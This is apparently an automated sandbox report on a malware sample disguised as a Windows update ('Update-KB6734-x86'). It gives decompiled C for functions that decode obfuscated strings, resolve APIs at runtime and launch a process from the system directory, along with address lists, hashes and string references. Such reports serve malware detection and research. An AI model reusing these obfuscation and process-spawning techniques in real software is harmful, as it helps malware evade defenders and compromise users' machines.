0x0041db51
0x0041db56
0x0041db5b
0x0041db60
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db6f
0x0041db74
0x0041db7b
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc0e
0x0041dc17
0x0041dc19
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc2d
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcd4
0x0041dcd9
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dced
0x0041dcf2
0x0041dcf6
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddaf
0x0041ddb9
0x0041ddbb
0x0041ddbf
0x0041ddbf
0x0041ddc2
0x0041ddc7
0x0041ddc9
0x0041ddd1
0x0041ddd4
0x0041ddd9
0x0041dddf
0x0041dddf
0x0041dce7
0x0041dc1d
0x0041db69

APIs

GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041DC17
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DCDE
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DDB9

Strings

S, xrefs: 0041DD7D
M, xrefs: 0041DD1E
1, xrefs: 0041DAB7
t, xrefs: 0041DD9B
<, xrefs: 0041DD78
$, xrefs: 0041DD82
L, xrefs: 0041DD0F
J, xrefs: 0041DD55
H, xrefs: 0041DCC4
H, xrefs: 0041DAE9
`, xrefs: 0041DC64
S, xrefs: 0041DD28
g, xrefs: 0041DB47
@, xrefs: 0041DCCC
S, xrefs: 0041DB9E
o, xrefs: 0041DB51
u, xrefs: 0041DCFB
|, xrefs: 0041DD5F
6, xrefs: 0041DD6E
L, xrefs: 0041DC84
&, xrefs: 0041DAF8
~, xrefs: 0041DAA8
6, xrefs: 0041DD19
7, xrefs: 0041DC34
p, xrefs: 0041DD91
m, xrefs: 0041DB80
$, xrefs: 0041DC54
I, xrefs: 0041DAC1
i, xrefs: 0041DC4C
X, xrefs: 0041DD73
M, xrefs: 0041DCAC
;, xrefs: 0041DC3C
9, xrefs: 0041DD50
W, xrefs: 0041DD87
T, xrefs: 0041DB3D
L, xrefs: 0041DC7C
1, xrefs: 0041DDA0
I, xrefs: 0041DDA5
T, xrefs: 0041DADA
`, xrefs: 0041DB99
X, xrefs: 0041DD32
_, xrefs: 0041DD69

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $$$$&$1$1$6$6$7$9$;$<$@$H$H$I$I$J$L$L$L$M$M$S$S$S$T$T$W$X$X$_$`$`$g$i$m$o$p$t$u$|$~
API String ID: 2238633743-2441341231
Opcode ID: e2dc3851afeb3bcb58ee0b1189764dea58b54e676dc674a3f0b7cb1962383261
Instruction ID: f0a6fbca38eaa9f6d36dd2073cba8300d351a760273fb7828a6aeea559b7586c
Opcode Fuzzy Hash: e2dc3851afeb3bcb58ee0b1189764dea58b54e676dc674a3f0b7cb1962383261
Instruction Fuzzy Hash: B9A1762010C7C1CDD332D27D984879FBFD11BA3368F484A9DA1E85A2D2D7AA8549C777

Uniqueness

Uniqueness Score: -1.00%

Function 00423870, Relevance: 81.2, APIs: 1, Strings: 53, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00423870(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v10;
				signed char _v11;
				signed char _v12;
				signed char _v13;
				signed char _v14;
				signed char _v15;
				signed char _v16;
				signed char _v17;
				signed char _v18;
				signed char _v19;
				signed char _v20;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v124;
				intOrPtr _t146;
				void* _t147;
				intOrPtr* _t148;
				void* _t149;
				void* _t156;
				int _t169;
				void* _t173;
				signed char _t181;
				char* _t182;
				signed int _t186;
				void* _t189;
				void* _t192;
				void* _t195;

				_t146 =  *0x4310d8; // 0xa9302559
				_v8 = _t146;
				_v76 = 0xd9;
				_v75 = 0x18;
				_v74 = 0x66;
				_v73 = 0x9f;
				_v72 = 0x83;
				_v71 = 3;
				_v70 = 0xb8;
				_v69 = 0x91;
				_v68 = 0xe;
				_v67 = 0xe7;
				_v66 = 0x7b;
				_v65 = 0x7f;
				_v64 = 0x8c;
				_v63 = 0x43;
				_v62 = 0x5b;
				_v61 = 0xb2;
				_v60 = 0x81;
				_v59 = 0xb0;
				_v58 = 0xce;
				_v57 = 0x2f;
				_v56 = 0x62;
				_v55 = 0;
				_v54 = 0xa2;
				_v53 = 0xa1;
				_v52 = 0xab;
				_v51 = 0x81;
				_v50 = 0xdb;
				_v49 = 0xd1;
				_v48 = 0x4b;
				_v47 = 0xcb;
				_v46 = 0x45;
				_v45 = 0x7a;
				_v44 = 0x78;
				_v43 = 0x55;
				_v42 = 0x63;
				_v41 = 0xc;
				_v40 = 0xa4;
				_v39 = 0x31;
				_v38 = 0x98;
				_v37 = 0xc9;
				_v36 = 0x10;
				_v120 = 0x29;
				_v119 = 0xc;
				_v118 = 0x3c;
				_v117 = 0xe;
				_v116 = 0x56;
				_v115 = 0x73;
				_v114 = 0x43;
				_v113 = 0x71;
				_v112 = 0x29;
				_v111 = 0xc;
				_v110 = 0x3c;
				_v109 = 0xe;
				_v108 = 0x56;
				_v107 = 0x73;
				_v106 = 0x43;
				_v105 = 0x71;
				_v104 = 0x29;
				_v103 = 0xc;
				_v102 = 0x3c;
				_v101 = 0xe;
				_v100 = 0x56;
				_v99 = 0x73;
				_v98 = 0x43;
				_v97 = 0x71;
				_v96 = 0x29;
				_v95 = 0xc;
				_v94 = 0x3c;
				_v93 = 0xe;
				_v92 = 0x56;
				_v91 = 0x73;
				_v90 = 0x43;
				_v89 = 0x71;
				_v88 = 0x29;
				_v87 = 0xc;
				_v86 = 0x3c;
				_v85 = 0xe;
				_v84 = 0x56;
				_v83 = 0x73;
				_v82 = 0x43;
				_v81 = 0x71;
				_v80 = 0x29;
				_t186 = 0x1f2;
				_t147 = 0;
				do {
					_t186 = 0x0000006c - _t186 - 0x0000001a & _t186 | 0x0000004e;
					_t181 =  *(_t195 + _t147 - 0x73) ^  *(_t195 + _t147 - 0x74);
					_t147 = _t147 + 1;
					 *(_t195 + _t147 - 0x49) = _t181;
				} while (_t147 < 0x28);
				_push(__esi);
				_t189 = 0xa;
				 *((char*)(_t195 + _t147 - 0x48)) = 0;
				_v32 = 0x85;
				_v31 = 3;
				_v30 = 0x1b;
				_v29 = 0xe3;
				_v28 = 0xc5;
				_v27 = 0x5d;
				_v26 = 0x4a;
				_v25 = 0x73;
				_v24 = 0xc1;
				_v23 = 0x6a;
				_v22 = 0x1d;
				_v20 = 0x1d;
				_v19 = 0x74;
				_v18 = 0xed;
				_v17 = 0x1f;
				_v16 = 0xf;
				_v15 = 0x75;
				_v14 = 0x79;
				_v13 = 0x5c;
				_v12 = 0xa3;
				_v11 = 0x6c;
				_v10 = 0xdf;
				_t192 = 0;
				do {
					_t148 = _t195 + _t192 - 0x10;
					_t182 = _t195 + _t189 - 0x10;
					_t192 = _t192 + 1;
					_t189 = _t189 - 1;
					 *_t148 =  *_t182;
					 *_t182 =  *_t148;
				} while (_t192 < _t189);
				_t149 = 0;
				 *0x432014 = 0x70;
				_pop(_t173);
				do {
					_t183 =  *(_t195 + _t149 - 0x10);
					 *(_t195 + _t149 - 0x1c) =  *(_t195 + _t149 - 0x1c) ^  *(_t195 + _t149 - 0x10);
					_t149 = _t149 + 1;
				} while (_t149 < 0xb);
				E00423D15(_t173, _t183, _t189, _t192,  &_v20);
				_v124 = E004237F6(_t192);
				E00425FD0( &_v14,  &_v124, 4);
				_t156 = 0;
				do {
					 *(_t195 + _t156 - 0x10) =  *(_t195 + _t156 - 0x10) ^  *(_t195 + _t156 - 0x1c);
					_t156 = _t156 + 1;
				} while (_t156 < 0xa);
				E00425F70(0x431ff4, 0, 0x20);
				_t169 = wsprintfA(0x431ff4,  &_v76, _v20 & 0x000000ff, _v19 & 0x000000ff, _v18 & 0x000000ff, _v17 & 0x000000ff, _v16 & 0x000000ff, _v15 & 0x000000ff, _v14 & 0x000000ff, _v13 & 0x000000ff, _v12 & 0x000000ff, _v11 & 0x000000ff);
				 *0x432018 = 1;
				return E00424873(_t169, _v8);
			}

0x00423876
0x0042387b
0x0042387e
0x00423882
0x00423886
0x0042388a
0x0042388e
0x00423892
0x00423896
0x0042389a
0x0042389e
0x004238a2
0x004238a6
0x004238aa
0x004238ae
0x004238b2
0x004238b6
0x004238ba
0x004238be
0x004238c2
0x004238c6
0x004238ca
0x004238ce
0x004238d2
0x004238d6
0x004238da
0x004238de
0x004238e2
0x004238e6
0x004238ea
0x004238ee
0x004238f2
0x004238f6
0x004238fa
0x004238fe
0x00423902
0x00423906
0x0042390a
0x0042390e
0x00423912
0x00423916
0x0042391a
0x0042391e
0x00423922
0x00423926
0x0042392a
0x0042392e
0x00423932
0x00423936
0x0042393a
0x0042393e
0x00423942
0x00423946
0x0042394a
0x0042394e
0x00423952
0x00423956
0x0042395a
0x0042395e
0x00423962
0x00423966
0x0042396a
0x0042396e
0x00423972
0x00423976
0x0042397a
0x0042397e
0x00423982
0x00423986
0x0042398a
0x0042398e
0x00423992
0x00423996
0x0042399a
0x0042399e
0x004239a2
0x004239a6
0x004239aa
0x004239ae
0x004239b2
0x004239b6
0x004239ba
0x004239be
0x004239c2
0x004239c6
0x004239cb
0x004239cd
0x004239dc
0x004239e2
0x004239e6
0x004239ea
0x004239ea
0x004239f0
0x004239f4
0x004239f5
0x004239fa
0x004239fe
0x00423a02
0x00423a06
0x00423a0a
0x00423a0e
0x00423a12
0x00423a16
0x00423a1a
0x00423a1e
0x00423a22
0x00423a26
0x00423a2a
0x00423a2e
0x00423a32
0x00423a36
0x00423a3a
0x00423a3e
0x00423a42
0x00423a46
0x00423a4a
0x00423a4e
0x00423a52
0x00423a55
0x00423a55
0x00423a5b
0x00423a61
0x00423a62
0x00423a65
0x00423a67
0x00423a67
0x00423a6b
0x00423a6d
0x00423a74
0x00423a75
0x00423a75
0x00423a79
0x00423a7d
0x00423a7e
0x00423a87
0x00423a91
0x00423a9e
0x00423aa6
0x00423aa8
0x00423aac
0x00423ab0
0x00423ab1
0x00423ac0
0x00423afc
0x00423b09
0x00423b1a

APIs

wsprintfA.USER32 ref: 00423AFC

Strings

l, xrefs: 00423A4A
C, xrefs: 004238B2
s, xrefs: 00423996
s, xrefs: 00423936
), xrefs: 004239A2
j, xrefs: 00423A1E
[, xrefs: 004238B6
x, xrefs: 004238FE
b, xrefs: 004238CE
V, xrefs: 00423992
V, xrefs: 004239B2
E, xrefs: 004238F6
V, xrefs: 00423932
q, xrefs: 0042397E
<, xrefs: 0042396A
q, xrefs: 0042399E
{, xrefs: 004238A6
/, xrefs: 004238CA
], xrefs: 00423A0E
q, xrefs: 0042393E
\, xrefs: 00423A42
s, xrefs: 00423976
f, xrefs: 00423886
J, xrefs: 00423A12
<, xrefs: 004239AA
u, xrefs: 00423A3A
<, xrefs: 0042394A
1, xrefs: 00423912
<, xrefs: 0042392A
s, xrefs: 00423956
s, xrefs: 00423A16
), xrefs: 00423982
), xrefs: 00423962
), xrefs: 00423922
q, xrefs: 004239BE
K, xrefs: 004238EE
t, xrefs: 00423A2A
c, xrefs: 00423906
C, xrefs: 0042393A
<, xrefs: 0042398A
s, xrefs: 004239B6
V, xrefs: 00423972
), xrefs: 00423942
V, xrefs: 00423952
C, xrefs: 0042395A
C, xrefs: 0042399A
U, xrefs: 00423902
q, xrefs: 0042395E
C, xrefs: 0042397A
C, xrefs: 004239BA
y, xrefs: 00423A3E
z, xrefs: 004238FA
), xrefs: 004239C2

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: wsprintf
String ID: )$)$)$)$)$)$/$1$<$<$<$<$<$C$C$C$C$C$C$E$J$K$U$V$V$V$V$V$[$\$]$b$c$f$j$l$q$q$q$q$q$s$s$s$s$s$s$t$u$x$y$z${
API String ID: 2111968516-877203839
Opcode ID: 2b5871d10edba0c0daadef3549677835c7a0ea46b4b24e0847e491320e849e80
Instruction ID: b8cea7b21e1b0b0dd3eef741e46aff7ac42a2e861af7119df59345f413ed0d70
Opcode Fuzzy Hash: 2b5871d10edba0c0daadef3549677835c7a0ea46b4b24e0847e491320e849e80
Instruction Fuzzy Hash: 2BB1E810D0C7D999EB22C2FC94587DEBFB50F27318F580299D5E47B2D2C2AA0249C77A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F250, Relevance: 79.0, APIs: 9, Strings: 36, Instructions: 270
memoryprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041F250(intOrPtr __ecx) {
				intOrPtr _v8;
				char _v46;
				char _v47;
				char _v49;
				char _v50;
				char _v51;
				char _v53;
				char _v54;
				char _v55;
				char _v57;
				char _v58;
				char _v59;
				char _v61;
				char _v62;
				char _v63;
				char _v65;
				char _v66;
				char _v67;
				char _v69;
				char _v70;
				char _v71;
				char _v73;
				char _v74;
				char _v75;
				char _v77;
				char _v78;
				char _v79;
				char _v81;
				char _v82;
				char _v83;
				struct _STARTUPINFOA _v84;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v153;
				char _v154;
				char _v155;
				char _v157;
				char _v158;
				char _v159;
				char _v161;
				char _v162;
				char _v163;
				struct _PROCESS_INFORMATION _v164;
				intOrPtr _v168;
				intOrPtr _t165;
				void* _t169;
				intOrPtr _t175;
				void* _t176;
				unsigned int _t177;
				void* _t205;
				void _t215;
				void _t216;
				signed int _t218;
				short _t232;
				int _t236;
				short* _t240;
				void* _t242;
				short _t251;
				short _t252;
				void* _t255;
				intOrPtr _t256;
				signed int _t259;
				void* _t261;

				_t261 = (_t259 & 0xfffffff8) - 0xa4;
				_t165 =  *0x4310d8; // 0xa9302559
				_t251 =  *0x431f38; // 0x2d2c
				_v8 = _t165;
				_v168 = __ecx;
				_t236 = 0;
				_v104 = 0x54;
				_v103 = 0x2c;
				_v102 = 0x7c;
				_v101 = 0xc;
				_v100 = 0x12;
				_v99 = 0x7c;
				_v98 = 0x2c;
				_v97 = 0xe7;
				_v96 = 0x50;
				_v95 = 0x8d;
				_v94 = 0x53;
				_v93 = 0x29;
				_v92 = 0xa2;
				_v91 = 0xa8;
				_v90 = 0x4e;
				_v89 = 0x45;
				_v88 = 0xc5;
				_v164.hProcess = 0x14;
				_v163 = 0x44;
				_v162 = 0xfe;
				_v161 = 0x60;
				_v164.hThread = 0x22;
				_v159 = 0xb8;
				_v158 = 0xd;
				_v157 = 0x7c;
				_v164.dwProcessId = 0xe1;
				_v155 = 0xa7;
				_v154 = 0xf;
				_v153 = 0xe;
				_v164.dwThreadId = 0x8c;
				_v151 = 0xbd;
				_v150 = 0x2a;
				_v149 = 0x20;
				_v148 = 0x3b;
				_t252 = _t251 + 0x73d;
				do {
					 *((intOrPtr*)(_t261 + _t236 + 0x4c)) =  *((intOrPtr*)(_t261 + _t236 + 0x4c)) +  *((intOrPtr*)(_t261 + _t236 + 0x10));
					_t236 = _t236 + 1;
				} while (_t236 < 0x11);
				_v143 = 0x2c;
				_v142 = 0x7c;
				_v139 = 0x7c;
				_v138 = 0x2c;
				_v117 = 0x2c;
				_v136 = 0x50;
				_v123 = 0x50;
				_v108 = 0x4f;
				_v77 = 0x4f;
				_v144 = 0x54;
				_v141 = 0xc;
				_v140 = 0x12;
				_v137 = 0xe7;
				_v135 = 0x8d;
				_v134 = 0x53;
				_v133 = 0x29;
				_v132 = 0xa2;
				_v131 = 0xa8;
				_v130 = 0x4e;
				_v129 = 0x45;
				_v128 = 0xc5;
				_v127 = 0x81;
				_v126 = 9;
				_v125 = 0xb3;
				_v124 = 0xdc;
				_v122 = 0x2a;
				_v121 = 0xc2;
				_v120 = 5;
				_v119 = 0x69;
				_v118 = 0x76;
				_v116 = 0x20;
				_v115 = 0x30;
				_v114 = 0x70;
				_v113 = 0x9e;
				_v112 = 0x5a;
				_v111 = 0x4c;
				_v110 = 0xd3;
				_v109 = 0x82;
				_v107 = 0x90;
				_v106 = 0x73;
				_v84.cb = 0x27;
				_v83 = 0x38;
				_v82 = 0xe5;
				_v81 = 0x56;
				_v84.lpReserved = 0x22;
				_v79 = 0xbd;
				_v78 = 8;
				_v84.lpDesktop = 0x14;
				_v75 = 0xa0;
				_v74 = 0xe1;
				_v73 = 8;
				_v84.lpTitle = 0xc1;
				_v71 = 0x8d;
				_v70 = 0xdf;
				_v69 = 0xef;
				_v84.dwX = 0x6f;
				_v67 = 0xb8;
				_v66 = 0x2e;
				_v65 = 0x7a;
				_v84.dwY = 0x85;
				_v63 = 0xe8;
				_v62 = 6;
				_v61 = 0x9f;
				_v84.dwXSize = 0x28;
				_v59 = 0xce;
				_v58 = 0xec;
				_v57 = 9;
				_v84.dwYSize = 0x44;
				_v55 = 5;
				_v54 = 0xf5;
				_v53 = 0x96;
				_v84.dwXCountChars = 0xdf;
				_v51 = 0xe7;
				_v50 = 0x92;
				_v49 = 0xb5;
				_v84.dwYCountChars = 0xea;
				_v47 = 0xed;
				_v46 = 0x8d;
				_t169 = 0;
				do {
					 *((char*)(_t261 + _t169 + 0x24)) =  *((intOrPtr*)(_t261 + _t169 + 0x24)) +  *((intOrPtr*)(_t261 + _t169 + 0x60));
					 *((char*)(_t261 + _t169 + 0x25)) =  *((intOrPtr*)(_t261 + _t169 + 0x25)) +  *((intOrPtr*)(_t261 + _t169 + 0x61));
					 *((char*)(_t261 + _t169 + 0x26)) =  *((intOrPtr*)(_t261 + _t169 + 0x26)) +  *((intOrPtr*)(_t261 + _t169 + 0x62));
					_t169 = _t169 + 3;
					_t252 = _t252 + 0x147;
				} while (_t169 < 0x27);
				 *0x431f38 = _t252;
				_t205 = HeapAlloc(GetProcessHeap(), 8, 0x104);
				memset( &_v84, 0, 0x11 << 2);
				_v84.cb = 0x44;
				GetSystemDirectoryA(_t205, 0x104);
				_t240 = _t205 - 1;
				do {
					_t175 =  *((intOrPtr*)(_t240 + 1));
					_t240 = _t240 + 1;
				} while (_t175 != 0);
				_t232 =  *0x42e308; // 0x5c
				_t176 =  &_v104;
				 *_t240 = _t232;
				_t255 = _t176;
				do {
					_t215 =  *_t176;
					_t176 = _t176 + 1;
				} while (_t215 != 0);
				_t177 = _t176 - _t255;
				_t242 = _t205 - 1;
				do {
					_t216 =  *(_t242 + 1);
					_t242 = _t242 + 1;
				} while (_t216 != 0);
				_t218 = _t177 >> 2;
				memcpy(_t255 + _t218 + _t218, _t255, memcpy(_t242, _t255, _t218 << 2) & 0x00000003);
				_t256 = _v168;
				memset( &_v84, 0, 0x11 << 2);
				_v84.cb = 0x44;
				if( *((intOrPtr*)(_t256 + 0x3c)) == 0 ||  *((intOrPtr*)(_t256 + 0x40)) != 0) {
					if( *((intOrPtr*)(_t256 + 0x9c)) == 0 ||  *((intOrPtr*)(_t256 + 0xa0)) != 0) {
						goto L19;
					} else {
						goto L14;
					}
				} else {
					L14:
					if( *((intOrPtr*)(_t256 + 0x148)) == 0) {
						 *((intOrPtr*)(_t256 + 0x148)) = CreateEventA(0, 1, 0,  &_v144);
					}
					if( *((intOrPtr*)(_t256 + 0x160)) == 0 && CreateProcessA(_t205, 0, 0, 0, 1, 0, 0, 0,  &_v84,  &_v164) != 0) {
						 *((intOrPtr*)(_t256 + 0x160)) = _v164.dwProcessId;
						CloseHandle(_v164);
						CloseHandle(_v164.hThread);
					}
					L19:
					HeapFree(GetProcessHeap(), 0, _t205);
					return E00424873(1, _v8);
				}
			}

0x0041f256
0x0041f25c
0x0041f263
0x0041f26a
0x0041f271
0x0041f27c
0x0041f27e
0x0041f283
0x0041f287
0x0041f28b
0x0041f290
0x0041f295
0x0041f299
0x0041f29d
0x0041f2a2
0x0041f2a7
0x0041f2ab
0x0041f2b0
0x0041f2b5
0x0041f2ba
0x0041f2bf
0x0041f2c4
0x0041f2c9
0x0041f2ce
0x0041f2d3
0x0041f2d8
0x0041f2dd
0x0041f2e2
0x0041f2e7
0x0041f2ec
0x0041f2f1
0x0041f2f5
0x0041f2fa
0x0041f2ff
0x0041f304
0x0041f309
0x0041f30e
0x0041f313
0x0041f318
0x0041f31d
0x0041f322
0x0041f327
0x0041f32b
0x0041f32f
0x0041f330
0x0041f335
0x0041f339
0x0041f33d
0x0041f341
0x0041f347
0x0041f34d
0x0041f353
0x0041f359
0x0041f35d
0x0041f363
0x0041f368
0x0041f36d
0x0041f372
0x0041f377
0x0041f37b
0x0041f380
0x0041f385
0x0041f38a
0x0041f38f
0x0041f394
0x0041f399
0x0041f39e
0x0041f3a3
0x0041f3a7
0x0041f3ac
0x0041f3b1
0x0041f3b6
0x0041f3bb
0x0041f3bf
0x0041f3c4
0x0041f3c9
0x0041f3ce
0x0041f3d3
0x0041f3d8
0x0041f3dd
0x0041f3e2
0x0041f3e7
0x0041f3ec
0x0041f3f1
0x0041f3f6
0x0041f3fb
0x0041f400
0x0041f405
0x0041f40a
0x0041f40f
0x0041f414
0x0041f419
0x0041f41e
0x0041f423
0x0041f428
0x0041f42d
0x0041f432
0x0041f437
0x0041f43b
0x0041f43f
0x0041f444
0x0041f449
0x0041f44e
0x0041f453
0x0041f458
0x0041f45d
0x0041f462
0x0041f467
0x0041f46c
0x0041f471
0x0041f476
0x0041f47b
0x0041f47f
0x0041f484
0x0041f488
0x0041f48d
0x0041f492
0x0041f499
0x0041f4a1
0x0041f4a9
0x0041f4b1
0x0041f4b9
0x0041f4c1
0x0041f4c8
0x0041f4d0
0x0041f4e2
0x0041f4ec
0x0041f4fe
0x0041f502
0x0041f505
0x0041f509
0x0041f515
0x0041f529
0x0041f53b
0x0041f53e
0x0041f546
0x0041f54e
0x0041f550
0x0041f550
0x0041f553
0x0041f554
0x0041f558
0x0041f55f
0x0041f563
0x0041f566
0x0041f568
0x0041f568
0x0041f56a
0x0041f56b
0x0041f571
0x0041f573
0x0041f574
0x0041f574
0x0041f577
0x0041f578
0x0041f57e
0x0041f588
0x0041f58a
0x0041f599
0x0041f5a0
0x0041f5a8
0x0041f5b9
0x00000000
0x00000000
0x00000000
0x00000000
0x0041f5c5
0x0041f5c5
0x0041f5cd
0x0041f5e0
0x0041f5e0
0x0041f5ee
0x0041f61b
0x0041f628
0x0041f62f
0x0041f62f
0x0041f631
0x0041f63b
0x0041f658
0x0041f658

APIs

GetProcessHeap.KERNEL32(00000008,00000104), ref: 0041F51C
HeapAlloc.KERNEL32(00000000), ref: 0041F523
GetSystemDirectoryA.KERNEL32 ref: 0041F546
CreateEventA.KERNEL32(00000000,00000001,00000000,00000054), ref: 0041F5DA
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,00000014), ref: 0041F609
CloseHandle.KERNEL32(00000014), ref: 0041F628
CloseHandle.KERNEL32(00000022), ref: 0041F62F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041F634
HeapFree.KERNEL32(00000000), ref: 0041F63B

Strings

z, xrefs: 0041F453
S, xrefs: 0041F2AB
s, xrefs: 0041F3F6
N, xrefs: 0041F2BF
E, xrefs: 0041F394
D, xrefs: 0041F47F
T, xrefs: 0041F27E
N, xrefs: 0041F38F
V, xrefs: 0041F40A
v, xrefs: 0041F3C4
`, xrefs: 0041F2DD
, xrefs: 0041F318
", xrefs: 0041F40F
S, xrefs: 0041F37B
P, xrefs: 0041F2A2
E, xrefs: 0041F2C4
", xrefs: 0041F2E2
D, xrefs: 0041F53E
D, xrefs: 0041F2D3
(, xrefs: 0041F46C
*, xrefs: 0041F3B1
*, xrefs: 0041F313
), xrefs: 0041F2B0
i, xrefs: 0041F3BF
D, xrefs: 0041F5A0
, xrefs: 0041F3C9
., xrefs: 0041F44E
p, xrefs: 0041F3D3
L, xrefs: 0041F3E2
T, xrefs: 0041F363
Z, xrefs: 0041F3DD
;, xrefs: 0041F31D
), xrefs: 0041F380
o, xrefs: 0041F444
0, xrefs: 0041F3CE
8, xrefs: 0041F400

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$Process$CloseCreateHandle$AllocDirectoryEventFreeSystem
String ID: $ $"$"$($)$)$*$*$.$0$8$;$D$D$D$D$E$E$L$N$N$P$S$S$T$T$V$Z$`$i$o$p$s$v$z
API String ID: 1999696495-2708113935
Opcode ID: 738ece0ca0369f4287c7408b09edaf122eaf261e57d7ddf3076aad516e63fadf
Instruction ID: 6417ec356ac032fdf8ba3c7335fdffbff661ba0545f4a4a4b03294bf4e60ec5a
Opcode Fuzzy Hash: 738ece0ca0369f4287c7408b09edaf122eaf261e57d7ddf3076aad516e63fadf
Instruction Fuzzy Hash: 40D1062110C7C19AD322CB3C984878FBFD15BA7618F584A9DF1E44B3E2C6A5854AC76B

Uniqueness

Uniqueness Score: -1.00%

Function 00412C90, Relevance: 75.4, APIs: 3, Strings: 40, Instructions: 189
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412C90(void* __ebx, void* __esi) {
				intOrPtr _v4;
				char _v264;
